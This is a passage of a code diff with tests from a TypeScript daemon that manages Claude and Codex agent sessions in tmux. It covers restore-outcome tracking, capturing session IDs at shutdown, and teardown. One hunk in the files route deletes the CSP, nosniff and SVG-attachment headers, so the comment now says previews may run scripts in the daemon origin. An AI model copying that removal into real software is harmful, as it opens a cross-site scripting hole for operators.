try { event = eventObject(JSON.parse(row.payload)); } catch { /* Unknown evidence. */ }
if (row.type === "restore.started") {
// Even an unreadable new attempt prevents reuse of an earlier receipt.
attempts.set(row.rig_id, { seq: row.seq, start: event, completed: false, outcomes: new Map() });
continue;
}
const attempt = attempts.get(row.rig_id);
if (row.type === "restore.completed" && attempt && !attempt.completed) {
// Match the first completion within this attempt, as the receipt reader
// does. Missing/corrupt receipts cannot become continuity proof.
attempt.completed = true;
const start = attempt.start;
const result = eventObject(event?.result);
const roster = start?.intendedRoster ?? result?.intendedRoster ?? result?.nodes;
if (start?.rigId === row.rig_id && event?.rigId === row.rig_id
&& typeof start?.snapshotId === "string"
&& event?.snapshotId === start.snapshotId && result?.snapshotId === start.snapshotId
&& Array.isArray(result?.nodes) && Array.isArray(roster)) {
const intended = new Set(roster.map((node: any) => node?.nodeId));
for (const node of result.nodes) {
if (typeof node?.nodeId === "string" && intended.has(node.nodeId)) {
attempt.outcomes.set(node.nodeId, node.status);
}
}
}
}
if (!event) continue;
if (row.type === "restore.outcome_reconciled") {
if (typeof event.nodeId !== "string") continue;
const evidence = eventObject(event.evidence);
const strict = event.rigId === row.rig_id && event.nodeId === row.node_id
&& event.to === "operator_recovered" && (event.from === "failed" || event.from === "attention_required")
&& !!attempt && attempt.seq === event.attemptId && attempt.outcomes.get(event.nodeId) === event.from
&& evidence?.tmux === true && evidence.resumeTokenUsed === true && evidence.paneState === "usable"
&& (evidence.fgProcess === "claude" || evidence.fgProcess === "codex");
map.set(restoreKey(row.rig_id, event.nodeId), {
outcome: mapStatus(event.to),
...(strict ? { resumedRuntime: evidence!.fgProcess === "claude" ? "claude-code" : "codex" } : {}),
});
continue;
}
if (!Array.isArray(event.result?.nodes)) continue;
for (const node of [...event.result.nodes].reverse()) {
if (typeof node?.nodeId === "string") {
map.set(restoreKey(row.rig_id, node.nodeId), { outcome: mapStatus(node.status) });
}
}
}
return map;
}
@@ -536,7 +590,7 @@ interface InventoryBuildContext {
// FS-1 W1.3 S1/S2 — the once-per-rig-batched per-node reads, keyed by node_id.
// Built ONCE per projection (rig-scoped for single-rig, all-rigs for the
// batched path) and looked up O(1) here instead of a query per node.
restoreOutcomes: Map<string, NodeRestoreOutcome>;
restoreOutcomes: Map<string, RestoreProjection>;
orienteds: Map<string, NodeOriented>;
}
@@ -549,7 +603,8 @@ function buildInventoryEntry(
// FS-1 W1.3 S1 — O(1) lookup into the once-per-rig restore-outcome map
// (byte-identical to the prior per-node deriveRestoreOutcome; "n-a" when a node
// is referenced by no restore event, matching the prior fall-through).
const restoreOutcome = restoreOutcomes.get(row.node_id) ?? "n-a";
const restore = restoreOutcomes.get(restoreKey(row.rig_id, row.node_id));
const restoreOutcome = restore?.outcome ?? "n-a";
// OPR.0.4.3.19 rev1-r2 B1 — a durable verdict is keyed only by node_id, so
// after a rebind/relaunch (same node, NEW session + NEW pane) a stale
// `verified` verdict for the OLD pane would otherwise be served for the new
@@ -594,7 +649,7 @@ function buildInventoryEntry(
oriented: orienteds.get(row.node_id) ?? "n-a",
lifecycleState,
occupantLifecycle: deriveOccupantLifecycle(row, identityVerdict?.verdict ?? null),
continuityOutcome: deriveContinuityOutcome(row, restoreOutcome),
continuityOutcome: deriveContinuityOutcome(row, restore),
handoverResult: row.handover_result as NodeInventoryEntry["handoverResult"] ?? null,
previousOccupant: row.previous_occupant,
handoverAt: row.handover_at,
@@ -1,4 +1,5 @@
import os from "node:os";
import fs from "node:fs";
import nodePath from "node:path";
import { execFile } from "node:child_process";
import { promisify } from "node:util";
@@ -17,6 +18,8 @@ import {
} from "./native-resume-probe.js";
import { runAsyncSite } from "./sync-site-wrap.js";
import { isClaudeSidecarFromEarlierProcess, type ResumeTokenCaptureDeps } from "./resume-token-capture.js";
import { observeClaudePaneRuntime, type NativeProcessLister } from "./native-process-lineage.js";
import { validateResumeToken } from "./resume-token-validation.js";
const execFileAsync = promisify(execFile);
@@ -48,6 +51,9 @@ interface ResumeMetadataRefresherDeps {
};
/** #421 — start time of the pane's current Claude process; a sidecar sampled earlier is not used. */
claudeProcessStartedAt?: ResumeTokenCaptureDeps["claudeProcessStartedAt"];
/** Provider root used by the daemon's Claude launches; no scan of other homes. */
claudeConfigDir?: string;
listClaudeProcesses?: NativeProcessLister;
}
export class ResumeMetadataRefresher {
@@ -61,6 +67,8 @@ export class ResumeMetadataRefresher {
private homeDir: string;
private contextUsageStore: ResumeMetadataRefresherDeps["contextUsageStore"] | null;
private claudeProcessStartedAt: ResumeMetadataRefresherDeps["claudeProcessStartedAt"] | null;
private claudeConfigDir: string;
private listClaudeProcesses: NativeProcessLister | undefined;
constructor(deps: ResumeMetadataRefresherDeps) {
this.sessionRegistry = deps.sessionRegistry;
@@ -85,6 +93,8 @@ export class ResumeMetadataRefresher {
this.homeDir = deps.homeDir ?? os.homedir();
this.contextUsageStore = deps.contextUsageStore ?? null;
this.claudeProcessStartedAt = deps.claudeProcessStartedAt ?? null;
this.claudeConfigDir = deps.claudeConfigDir ?? process.env.CLAUDE_CONFIG_DIR ?? nodePath.join(this.homeDir, ".claude");
this.listClaudeProcesses = deps.listClaudeProcesses;
}
/**
@@ -106,10 +116,10 @@ export class ResumeMetadataRefresher {
* is unacceptable recurring blast radius (rev1-r1). Resumability VERIFICATION
* is FR-6's on-demand job, not a recurring-snapshot op.
*
* Default (`fillNullOnly` falsy) preserves the legacy validate-and-probe-and-clear
* behavior for the non-snapshot / teardown auto-pre-down path (a one-time
* at-shutdown check — unchanged here; FR-6 §2.1b owns unifying the clear semantics
* across all callers).
* At shutdown (`fillNullOnly` falsy), first read Claude's live PID-keyed session
* file: /clear changes its sessionId without changing the launch argv, and the
* old conversation can still be resumable. If unavailable, retain the existing
* probe behavior. Never clear a token or add a shutdown refusal.
*/
async refresh(
sessions: ResumeRefreshSession[],
@@ -154,6 +164,16 @@ export class ResumeMetadataRefresher {
}
if (session.runtime === "claude-code") {
if (!fillNullOnly) {
const current = await this.captureClaudeSessionId(session);
if (current && this.sessionRegistry.resumeTokenMatches(session.sessionId, "claude_id", current)) {
this.sessionRegistry.markResumeProbeResult(session.sessionId, "resumable");
continue;
}
if (current && this.sessionRegistry.updateResumeToken(session.sessionId, "claude_id", current, "scrape")) {
continue;
}
}
if (!session.resumeToken) {
// OPR.0.4.3.20 FR-4 — null-fill from the Claude status-line sidecar
// (best-effort; missing/parse-error/empty leaves null, never throws).
@@ -175,7 +195,7 @@ export class ResumeMetadataRefresher {
// probe on the recurring snapshot path (rev1-r1), and never clear a present
// token (rev1-r2). A present-but-not-resumable token stays in the ledger for
// FR-6 to surface as `stale/unverified — re-verify`. Only the legacy/teardown
// default path probes + clears (a one-time at-shutdown check).
// default path probes and records freshness without clearing the token.
if (fillNullOnly) {
// OPR.0.4.3.20 FR-6.1 — equal-value freshness RE-STAMP on the periodic path
// (NO probe; never spawns `claude --resume`). Re-derive via the pure-read
@@ -204,6 +224,34 @@ export class ResumeMetadataRefresher {
}
}
/** Shutdown-only read, bounded to the stable foreground Claude process's own
* file. A same-name file or launch argument cannot identify the post-/clear
* conversation. Missing/ambiguous observations retain the legacy fallback. */
private async captureClaudeSessionId(session: ResumeRefreshSession): Promise<string | undefined> {
try {
const input = { target: session.sessionName, tmux: this.tmuxAdapter, listProcesses: this.listClaudeProcesses };
const first = await observeClaudePaneRuntime(input);
if (!first) return undefined;
const started = Date.parse(first.process.startedAt ?? "");
if (!Number.isFinite(started)) return undefined;
const configDir = nodePath.resolve(session.cwd ?? process.cwd(), this.claudeConfigDir);
const file = nodePath.join(configDir, "sessions", `${first.process.pid}.json`);
const fd = fs.openSync(file, "r");
let record: { name?: unknown; sessionId?: unknown };
try {
const stat = fs.fstatSync(fd);
// A leftover file for a reused PID is not current-process evidence.
if (!stat.isFile() || stat.size > 64 * 1024 || stat.mtimeMs < started) return undefined;
record = JSON.parse(fs.readFileSync(fd, "utf8"));
} finally { fs.closeSync(fd); }
if (record?.name !== session.sessionName) return undefined;
const valid = validateResumeToken("claude-code", record.sessionId);
if (!valid.ok) return undefined;
const final = await observeClaudePaneRuntime(input);
return final?.fingerprint === first.fingerprint ? valid.token : undefined;
} catch { return undefined; }
}
/** Best-effort derive a Codex thread id from live pane state (getPanePid →
* codex descendant pids → pid-keyed logs sqlite). Async, returns undefined
* on timeout/absence. Public for reuse by adoption-boundary capture
+7 -1
View File
@@ -118,7 +118,13 @@ export class RigTeardownOrchestrator {
// 4. Auto-snapshot before teardown (always, best-effort)
try {
if (this.deps.resumeMetadataRefresher) {
await this.deps.resumeMetadataRefresher.refresh(liveSessions);
// A live namesake cannot supply resume metadata for an archived row.
// Keep that row's own token in the snapshot, just as the kill below
// leaves the other owner's session alone.
const refreshableSessions = archived.archived_at === null ? liveSessions : liveSessions.filter(
session => findOtherSessionOwner(this.db, session.sessionName, session.nodeId, { ignoreArchived: true }) === null,
);
await this.deps.resumeMetadataRefresher.refresh(refreshableSessions);
}
const snap = this.deps.snapshotCapture.captureSnapshot(rigId, "auto-pre-down");
result.snapshotId = snap.id;
+2 -45
View File
@@ -150,17 +150,12 @@ export function filesRoutes(): Hono {
let contentType = inferContentType(resolved);
// OPR.0.4.4.20 FR-11: .html renders as text/html ONLY under the explicit
// ?render=1 opt-in (text/plain stays the default for every other read).
// First-party operator mockups open in a new tab. Rendered HTML is served
// with a script-free CSP (assetSecurityHeaders), under the web UI's
// fail-closed rule.
// Explicit HTML previews and direct SVG previews may run scripts in the
// daemon origin; ordinary HTML reads stay text/plain.
if (c.req.query("render") === "1" && path.extname(resolved).toLowerCase() === ".html") {
contentType = "text/html; charset=utf-8";
}
// Response headers for active content types (text/html, image/svg+xml):
// nosniff, a script-free CSP for rendered HTML, and attachment for SVG.
const secHeaders = assetSecurityHeaders(contentType, resolved);
// OPR.0.4.4.20 FR-5: byte-range support on THIS route only (iOS Safari
// requires 206 + Accept-Ranges for media playback; 200-with-whole-file
// is the documented iOS failure mode). Single-range form only.
@@ -189,7 +184,6 @@ export function filesRoutes(): Hono {
"Content-Length": String(length),
"Accept-Ranges": "bytes",
"Cache-Control": "public, max-age=300",
...secHeaders,
},
});
} finally {
@@ -204,7 +198,6 @@ export function filesRoutes(): Hono {
"Content-Type": contentType,
"Accept-Ranges": "bytes",
"Cache-Control": "public, max-age=300",
...secHeaders,
},
});
} catch (err) {
@@ -308,39 +301,3 @@ function inferContentType(absPath: string): string {
// Re-export for the route-order discipline test in workflow-routes.
export { resolveAllowedPath };
/**
* Response headers for the /api/files/asset endpoint, which the web UI uses to open files.
*
* - All responses: X-Content-Type-Options: nosniff, so the browser never
* sniffs a text/plain response into another type.
* - text/html (render=1): a script-free CSP (no inline, external or eval
* scripts). Same-origin images and inline styles are allowed so operator
* mockups still render.
* - image/svg+xml: Content-Disposition: attachment, so opening the file
* directly downloads it; <img src="...svg"> embedding is unaffected.
*/
export function assetSecurityHeaders(contentType: string, resolvedPath: string): Record<string, string> {
const headers: Record<string, string> = {
"X-Content-Type-Options": "nosniff",
};
if (contentType.startsWith("text/html")) {
// Strict CSP for rendered HTML: block all scripts (inline, external, eval),
// allow only same-origin images and inline styles for layout fidelity.
headers["Content-Security-Policy"] =
"default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; font-src 'self'; frame-ancestors 'none'";
headers["X-Frame-Options"] = "DENY";
} else if (contentType === "image/svg+xml") {
// An SVG opened directly runs any scripts it contains; as an attachment a
// direct open downloads it instead, while <img src="...svg"> embedding still
// works (browsers ignore Content-Disposition for <img> subrequests).
// Use RFC 5987 UTF-8 encoding so filenames with unicode (CJK, emoji, etc.)
// are transmitted safely instead of producing a malformed header.
const basename = path.basename(resolvedPath);
const encoded = encodeURIComponent(basename);
headers["Content-Disposition"] = `attachment; filename*=UTF-8''${encoded}`;
}
return headers;
}
@@ -0,0 +1,176 @@
// Actual route/reconciler/SQLite/inventory with synthetic activity/transport ports.
import { afterEach, describe, expect, it, vi } from 'vitest';
import { Hono } from 'hono';
import { createFullTestDb } from './helpers/test-app.js';
import { RigRepository } from '../src/domain/rig-repository.js';
import { SessionRegistry } from '../src/domain/session-registry.js';
import { EventBus } from '../src/domain/event-bus.js';
import { AgentActivityStore } from '../src/domain/agent-activity-store.js';
import { SeatAttentionReconciler } from '../src/domain/seat-attention-reconciler.js';
import { SeatIdentityStore } from '../src/domain/seat-identity-store.js';
import { getNodeInventory, getNodeInventoryForRigs } from '../src/domain/node-inventory.js';
import { sessionAdminRoutes } from '../src/routes/sessions.js';
import { SeatStatusService } from '../src/domain/seat-status-service.js';
const databases: ReturnType<typeof createFullTestDb>[] = [];
afterEach(() => { for (const db of databases.splice(0)) db.close(); });
function fixture(kind: 'subset' | 'full' | 'startup' | 'identity', explicit: string | null = null) {
const db = createFullTestDb(); databases.push(db);
const repo = new RigRepository(db), registry = new SessionRegistry(db), bus = new EventBus(db);
const rig = repo.createRig('attention-specimen');
const node = repo.addNode(rig.id, 'worker', {role:'worker',runtime:'claude-code'});
const name = 'worker@attention-specimen';
const session = registry.registerSession(node.id, name);
registry.updateStatus(session.id,'running');
registry.updateStartupStatus(session.id,kind === 'startup' ? 'attention_required' : 'ready');
registry.updateBinding(node.id,{tmuxSession:name,tmuxPane:'%991'});
db.prepare('UPDATE nodes SET continuity_outcome = ? WHERE id = ?').run(explicit,node.id);
if (kind === 'subset' || kind === 'full') {
if (kind === 'full') bus.emit({type:'restore.started',rigId:rig.id,snapshotId:'synthetic-snapshot'});
bus.emit({type:kind === 'full' ? 'restore.completed':'restore.subset_completed',rigId:rig.id,snapshotId:'synthetic-snapshot',result:{snapshotId:'synthetic-snapshot',preRestoreSnapshotId:null,rigResult:'partially_restored',nodes:[{nodeId:node.id,logicalId:'worker',status:'attention_required'}],warnings:[]}} as never);
}
const identities = new SeatIdentityStore(db);
if (kind === 'identity') identities.upsert({nodeId:node.id,verdict:'mismatch',evidenceSource:'pane_process',reason:'process_identity_mismatch',evidence:{registeredPane:'%991',observedPid:991,observedCommand:'bash',matchedLayer:null},sessionName:name,observedAt:new Date().toISOString()});
const sendVerify=vi.fn(async (): Promise<{ok:boolean; verified?:boolean}> => ({ok:false}));
const clear = new SeatAttentionReconciler({db,sessionRegistry:registry,eventBus:bus,agentActivityStore:new AgentActivityStore({db,eventBus:bus}),sendVerify});
const app = new Hono();
app.use('*',async(c,next)=>{c.set('seatAttentionReconciler' as never,clear as never);c.set('terminalBearerToken' as never,null as never);await next();});
app.route('/api/sessions',sessionAdminRoutes);
const inventory=()=>{
const i=getNodeInventory(db,rig.id)[0]!;
return {startupStatus:i.startupStatus,sessionStatus:i.sessionStatus,restoreOutcome:i.restoreOutcome,continuityOutcome:i.continuityOutcome,lifecycleState:i.lifecycleState,occupantLifecycle:i.occupantLifecycle};
};
const post=async(reason?:string)=>{
const r=await app.request(`/api/sessions/${encodeURIComponent(name)}/clear-attention`,{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify(reason?{reason}:{})});
return {status:r.status,body:await r.json() as any};
};
const events=()=>db.prepare("SELECT type,payload FROM events WHERE type IN ('seat.attention_cleared','restore.outcome_reconciled') ORDER BY seq").all().map((r:any)=>({type:r.type,payload:JSON.parse(r.payload)}));
return {db,node,identities,name,inventory,post,events,sendVerify,repo,registry,bus,rig};
}
describe('bounded truthful-attention specimen projection',()=>{
it.each([null,'failed','fresh'])('subset acknowledgment with explicit continuity %s',async explicit=>{
const f=fixture('subset',explicit);
const result=await f.post('operator reports this seat is working');
const after=f.inventory(),events=f.events();
expect(result.status).toBe(200);
expect(result.body.clearedBy).toBe('operator_attestation');
expect(result.body.derivedEvidence).toMatchObject({source:'operator_attestation',runtimeCwdVerified:false});
expect(after.restoreOutcome).toBe('operator_recovered');
expect(after.continuityOutcome).toBe(explicit);
expect(after.lifecycleState).toBe('running');
expect(events).toHaveLength(1);
expect(f.sendVerify).not.toHaveBeenCalled();
// A later real identity observation still down-ranks a previously acknowledged seat.
f.identities.upsert({nodeId:f.node.id,verdict:'mismatch',evidenceSource:'pane_process',reason:'process_identity_mismatch',evidence:{registeredPane:'%991',observedPid:991,observedCommand:'bash',matchedLayer:null},sessionName:f.name,observedAt:new Date().toISOString()});
expect(f.inventory().lifecycleState).toBe('attention_required');
});
it('a verified send clears subset attention without claiming continuity', async () => {
const f = fixture('subset');
f.sendVerify.mockResolvedValue({ok:true, verified:true});
expect((await f.post()).status).toBe(200);
expect(f.inventory()).toMatchObject({restoreOutcome:'operator_recovered',continuityOutcome:null,lifecycleState:'running'});
expect(f.events()[0].payload.evidence).toMatchObject({source:'clear_attention_evidence',runtimeCwdVerified:false});
});
it.each(['full','identity'] as const)('%s class is not bypassed by reason',async kind=>{
const f=fixture(kind),before=f.inventory(),result=await f.post('operator reports this seat is working');
expect(result.status).toBe(422);
expect(result.body.code).toBe('not_demonstrably_responsive');
expect(result.body.detail).toContain(kind==='full'?'restore_outcome':'pane_identity');
expect(f.events()).toEqual([]);
expect(f.sendVerify).not.toHaveBeenCalled();
expect(f.inventory()).toEqual(before);
});
it.each(['startup','subset'] as const)('%s missing-evidence response identifies its class',async kind=>{
const f=fixture(kind),result=await f.post();
expect(result.status).toBe(422);
expect(result.body.code).toBe('not_demonstrably_responsive');
expect(f.events()).toEqual([]);
});
});
describe('restore proof binding in the inventory batch', () => {
const proof = {tmux:true, fgProcess:'claude', resumeTokenUsed:true, paneState:'usable'};
function receipt(f: ReturnType<typeof fixture>, rigId = f.rig.id, nodeId = f.node.id) {
const start = f.bus.emit({type:'restore.started',rigId,snapshotId:'s1',intendedRoster:[{nodeId,logicalId:'worker'}]});
f.bus.emit({type:'restore.completed',rigId,snapshotId:'s1',result:{snapshotId:'s1',preRestoreSnapshotId:null,rigResult:'partially_restored',nodes:[{nodeId,logicalId:'worker',status:'attention_required'}],warnings:[]}});
return start.seq;
}
function reconcile(f: ReturnType<typeof fixture>, attemptId: number, overrides: Record<string, unknown> = {}) {
f.bus.emit({type:'restore.outcome_reconciled',rigId:f.rig.id,nodeId:f.node.id,attemptId,from:'attention_required',to:'operator_recovered',evidence:proof,...overrides} as never);
}
function both(f: ReturnType<typeof fixture>) {
const local = getNodeInventory(f.db, f.rig.id)[0]!;
const fleet = getNodeInventoryForRigs(f.db,new Set([f.rig.id])).get(f.rig.id)![0]!;
expect(fleet).toEqual(local);
return local;
}
it('retains strict resumed proof and passes it unchanged through seat status', () => {
const f=fixture('startup');
f.db.prepare("UPDATE sessions SET startup_status='ready'").run();
reconcile(f,receipt(f));
expect(both(f)).toMatchObject({restoreOutcome:'operator_recovered',continuityOutcome:'resumed',lifecycleState:'running'});
const status=new SeatStatusService({rigRepo:f.repo}).getStatus(f.name);
expect(status).toMatchObject({ok:true,status:{continuity_outcome:'resumed',restore_outcome:'operator_recovered'}});
});
it.each([
undefined, null, [], 'strict', {source:'strict'}, {runtimeCwdVerified:true},
{...proof,tmux:false}, {...proof,resumeTokenUsed:false}, {...proof,paneState:'unknown'},
{...proof,fgProcess:'bash'}, {...proof,tmux:'true'}, {...proof,fgProcess:'codex'},
].map(evidence => [evidence]))('does not infer continuity from absent, malformed or incomplete evidence: %j', evidence => {
const f=fixture('subset');
reconcile(f,receipt(f),{evidence});
expect(both(f)).toMatchObject({restoreOutcome:'operator_recovered',continuityOutcome:null,lifecycleState:'running'});
});
it.each(['zero','missing','wrong-rig','wrong-node','superseded','wrong-from','missing-completion','wrong-snapshot','wrong-column'] as const)(
'does not infer continuity from an unbound receipt: %s', kind => {
const f=fixture('subset');
const id=receipt(f,kind==='wrong-rig'?'other-rig':f.rig.id,kind==='wrong-node'?'other-node':f.node.id);
if (kind==='superseded') f.bus.emit({type:'restore.started',rigId:f.rig.id,snapshotId:'s2'});
if (kind==='missing-completion') f.db.prepare("DELETE FROM events WHERE type='restore.completed'").run();
if (kind==='wrong-snapshot') f.db.prepare("UPDATE events SET payload=json_set(payload,'$.snapshotId','other') WHERE type='restore.completed'").run();
reconcile(f,kind==='zero'?0:kind==='missing'?999999:id,kind==='wrong-from'?{from:'failed'}:{});
if (kind==='wrong-column') f.db.prepare("UPDATE events SET node_id='other-node' WHERE type='restore.outcome_reconciled'").run();
expect(both(f)).toMatchObject({restoreOutcome:'operator_recovered',continuityOutcome:null,lifecycleState:'running'});
},
);
it('does not let another rig overwrite this node or donate proof in the fleet batch', () => {
const f=fixture('subset');
reconcile(f,receipt(f));
f.bus.emit({type:'restore.outcome_reconciled',rigId:'other-rig',nodeId:f.node.id,attemptId:0,from:'failed',to:'operator_recovered',evidence:{source:'operator_attestation'}});
expect(both(f).continuityOutcome).toBe('resumed');
});
it('never borrows an older strict proof when a newer acknowledgment wins', () => {
const f=fixture('subset'), id=receipt(f);
reconcile(f,id);
reconcile(f,0,{evidence:{source:'operator_attestation',runtimeCwdVerified:false}});
expect(both(f).continuityOutcome).toBeNull();
expect(new SeatStatusService({rigRepo:f.repo}).getStatus(f.name)).toMatchObject({ok:true,status:{session_status:'running',continuity_outcome:null}});
});
it('keeps newer failures and newer reconciliations ordered per node', () => {
const f=fixture('subset');
reconcile(f,receipt(f));
f.bus.emit({type:'restore.subset_completed',rigId:f.rig.id,snapshotId:'s2',result:{snapshotId:'s2',preRestoreSnapshotId:null,rigResult:'failed',nodes:[{nodeId:f.node.id,logicalId:'worker',status:'failed'}],warnings:[]}});
expect(both(f)).toMatchObject({restoreOutcome:'failed',continuityOutcome:'failed',lifecycleState:'attention_required'});
reconcile(f,0,{from:'failed',evidence:{source:'clear_attention_evidence',kind:'fresh_activity',state:'idle'}});
expect(both(f)).toMatchObject({restoreOutcome:'operator_recovered',continuityOutcome:null,lifecycleState:'running'});
});
it('does not use a corrupt receipt or later completion to fill an earlier attempt', () => {
const f=fixture('subset'), id=receipt(f);
f.db.prepare("UPDATE events SET payload='{' WHERE type='restore.completed'").run();
reconcile(f,id);
expect(both(f).continuityOutcome).toBeNull();
f.bus.emit({type:'restore.started',rigId:f.rig.id,snapshotId:'s2'});
f.bus.emit({type:'restore.completed',rigId:f.rig.id,snapshotId:'s2',result:{snapshotId:'s2',preRestoreSnapshotId:null,rigResult:'failed',nodes:[{nodeId:f.node.id,logicalId:'worker',status:'failed'}],warnings:[]}});
reconcile(f,id);
expect(both(f).continuityOutcome).toBeNull();
});
it('preserves explicit historical outcomes and applicable identity downranking', () => {
const f=fixture('subset');
reconcile(f,receipt(f));
for (const explicit of ['failed','fresh','resumed','rebuilt','forked']) {
f.db.prepare('UPDATE nodes SET continuity_outcome=? WHERE id=?').run(explicit,f.node.id);
expect(both(f).continuityOutcome).toBe(explicit);
}
f.identities.upsert({nodeId:f.node.id,verdict:'mismatch',evidenceSource:'pane_process',reason:'process_identity_mismatch',evidence:{registeredPane:'%991',observedPid:991,observedCommand:'bash',matchedLayer:null},sessionName:f.name,observedAt:new Date().toISOString()});
expect(both(f).lifecycleState).toBe('attention_required');
});
});
@@ -0,0 +1,171 @@
import fs from "node:fs";
import os from "node:os";
import path from "node:path";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
import { createDb } from "../src/db/connection.js";
import { migrate } from "../src/db/migrate.js";
import { ALL_MIGRATIONS } from "../src/db/all-migrations.js";
import { RigRepository } from "../src/domain/rig-repository.js";
import { SessionRegistry } from "../src/domain/session-registry.js";
import { EventBus } from "../src/domain/event-bus.js";
import { SnapshotRepository } from "../src/domain/snapshot-repository.js";
import { SnapshotCapture } from "../src/domain/snapshot-capture.js";
import { CheckpointStore } from "../src/domain/checkpoint-store.js";
import { RigTeardownOrchestrator } from "../src/domain/rig-teardown.js";
import { ResumeMetadataRefresher } from "../src/domain/resume-metadata-refresher.js";
import type { TmuxAdapter } from "../src/adapters/tmux.js";
const oldId = "11111111-1111-4111-8111-111111111111";
const newId = "22222222-2222-4222-8222-222222222222";
const startedAt = "2020-01-01T01:00:00Z";
describe("Claude current conversation at shutdown", () => {
let db: ReturnType<typeof createDb>;
let root: string;
let rigRepo: RigRepository;
let registry: SessionRegistry;
let eventBus: EventBus;
let snapshotRepo: SnapshotRepository;
let capture: SnapshotCapture;
beforeEach(() => {
root = fs.mkdtempSync(path.join(os.tmpdir(), "claude-clear-resume-"));
db = createDb();
migrate(db, ALL_MIGRATIONS);
rigRepo = new RigRepository(db);
registry = new SessionRegistry(db);
eventBus = new EventBus(db);
snapshotRepo = new SnapshotRepository(db);
capture = new SnapshotCapture({ db, rigRepo, sessionRegistry: registry, eventBus, snapshotRepo, checkpointStore: new CheckpointStore(db) });
});
afterEach(() => {
db.close();
fs.rmSync(root, { recursive: true, force: true });
});
function fixture(provenance: "scrape" | "operator" | "hook" = "scrape", configDir = path.join(root, ".claude")) {
const rig = rigRepo.createRig("clear-test");
const node = rigRepo.addNode(rig.id, "worker", { runtime: "claude-code", cwd: root });
const name = "worker@clear-test";
const session = registry.registerSession(node.id, name);
registry.updateStatus(session.id, "running");
registry.updateBinding(node.id, { tmuxSession: name, tmuxPane: "%1" });
registry.updateResumeToken(session.id, "claude_id", oldId, provenance);
const rows = [
{ pid: 900, ppid: 1, pgid: 900, tpgid: 901, executableName: "bash", command: "bash", startedAt },
{ pid: 901, ppid: 900, pgid: 901, tpgid: 901, executableName: "claude", command: `claude --session-id ${oldId} --name ${name}`, startedAt },
];
const listClaudeProcesses = vi.fn(async () => rows);
const probe = vi.fn(async () => "resumable" as const); // Old history still exists after /clear.
const tmux = {
getPanePid: vi.fn(async () => 900),
killSession: vi.fn(async () => ({ ok: true })),
} as unknown as TmuxAdapter;
const refresher = new ResumeMetadataRefresher({
sessionRegistry: registry, tmuxAdapter: tmux, homeDir: root,
claudeConfigDir: configDir, listClaudeProcesses, probeClaudeResume: probe,
});
const file = path.join(configDir, "sessions", "901.json");
fs.mkdirSync(path.dirname(file), { recursive: true });
fs.writeFileSync(file, JSON.stringify({ name, sessionId: newId }));
// Deterministic current-process timestamp, independent of the test machine's date.
fs.utimesSync(file, new Date("2020-01-01T02:00:00Z"), new Date("2020-01-01T02:00:00Z"));
const teardown = new RigTeardownOrchestrator({ db, rigRepo, sessionRegistry: registry, eventBus, snapshotCapture: capture, tmuxAdapter: tmux, resumeMetadataRefresher: refresher });
return { rig, session, name, rows, file, tmux, probe, listClaudeProcesses, refresher, teardown };
}
it("captures the post-clear conversation in the actual auto-pre-down snapshot", async () => {
const f = fixture();
// Another seat has the same name; a name scan must not select its old conversation.
fs.writeFileSync(path.join(path.dirname(f.file), "899.json"), JSON.stringify({ name: f.name, sessionId: oldId }));
const result = await f.teardown.teardown(f.rig.id);
expect(result.errors).toEqual([]);
expect(result.sessionsKilled).toBe(1);
const snap = snapshotRepo.getSnapshot(result.snapshotId!)!;
expect(snap.kind).toBe("auto-pre-down");
expect(snap.data.sessions.find(s => s.id === f.session.id)?.resumeToken).toBe(newId);
expect(registry.getSessionsForRig(f.rig.id)[0]?.resumeToken).toBe(newId);
expect(f.probe).not.toHaveBeenCalled();
});
it("uses the selected provider config directory for the live PID", async () => {
const f = fixture("scrape", path.join(root, "custom-config"));
await f.teardown.teardown(f.rig.id);
expect(registry.getSessionsForRig(f.rig.id)[0]?.resumeToken).toBe(newId);
});
it("preserves the same conversation when no clear occurred", async () => {
const f = fixture();
fs.writeFileSync(f.file, JSON.stringify({ name: f.name, sessionId: oldId }));
await f.teardown.teardown(f.rig.id);
expect(registry.getSessionsForRig(f.rig.id)[0]?.resumeToken).toBe(oldId);
});
it("preserves null provenance when the current token is unchanged", async () => {
const f = fixture();
db.prepare("UPDATE sessions SET resume_provenance = NULL WHERE id = ?").run(f.session.id);
fs.writeFileSync(f.file, JSON.stringify({ name: f.name, sessionId: oldId }));
await f.teardown.teardown(f.rig.id);
const session = registry.getSessionsForRig(f.rig.id)[0]!;
expect(session.resumeToken).toBe(oldId);
expect(session.resumeProvenance).toBeNull();
expect(session.resumeLastProbeStatus).toBe("resumable");
expect(f.probe).not.toHaveBeenCalled();
});
it("keeps an archived namesake's own conversation in the pre-down snapshot", async () => {
const f = fixture();
rigRepo.archiveRig(f.rig.id);
const live = rigRepo.createRig("clear-test");
const liveNode = rigRepo.addNode(live.id, "worker", { runtime: "claude-code", cwd: root });
const liveSession = registry.registerSession(liveNode.id, f.name);
registry.updateStatus(liveSession.id, "running");
registry.updateBinding(liveNode.id, { tmuxSession: f.name, tmuxPane: "%2" });
registry.updateResumeToken(liveSession.id, "claude_id", newId, "scrape");
// The name and PID file now belong to the live rig, not the archived row.
f.rows[1]!.command = `claude --session-id ${newId} --name ${f.name}`;
const result = await f.teardown.teardown(f.rig.id);
const snap = snapshotRepo.getSnapshot(result.snapshotId!)!;
expect(result.errors).toEqual([]);
expect(f.tmux.killSession).not.toHaveBeenCalled();
expect(registry.getSessionsForRig(live.id)[0]).toMatchObject({ resumeToken: newId, status: "running" });
expect(snap.data.sessions.find(s => s.id === f.session.id)?.resumeToken).toBe(oldId);
expect(registry.getSessionsForRig(f.rig.id)[0]?.resumeToken).toBe(oldId);
expect(f.listClaudeProcesses).not.toHaveBeenCalled();
expect(f.probe).not.toHaveBeenCalled();
});
it.each(["missing", "malformed", "wrong-name", "invalid-id", "old-file", "changed-process", "ambiguous-process", "background-process"])("keeps existing shutdown behavior on %s evidence", async (kind) => {
const f = fixture();
if (kind === "missing") fs.unlinkSync(f.file);
if (kind === "malformed") fs.writeFileSync(f.file, "{");
if (kind === "wrong-name") fs.writeFileSync(f.file, JSON.stringify({ name: "different-seat", sessionId: newId }));
if (kind === "invalid-id") fs.writeFileSync(f.file, JSON.stringify({ name: f.name, sessionId: [newId] }));
if (kind === "old-file") fs.utimesSync(f.file, new Date(0), new Date(0));
if (kind === "changed-process") f.listClaudeProcesses.mockResolvedValueOnce(f.rows).mockResolvedValue([]);
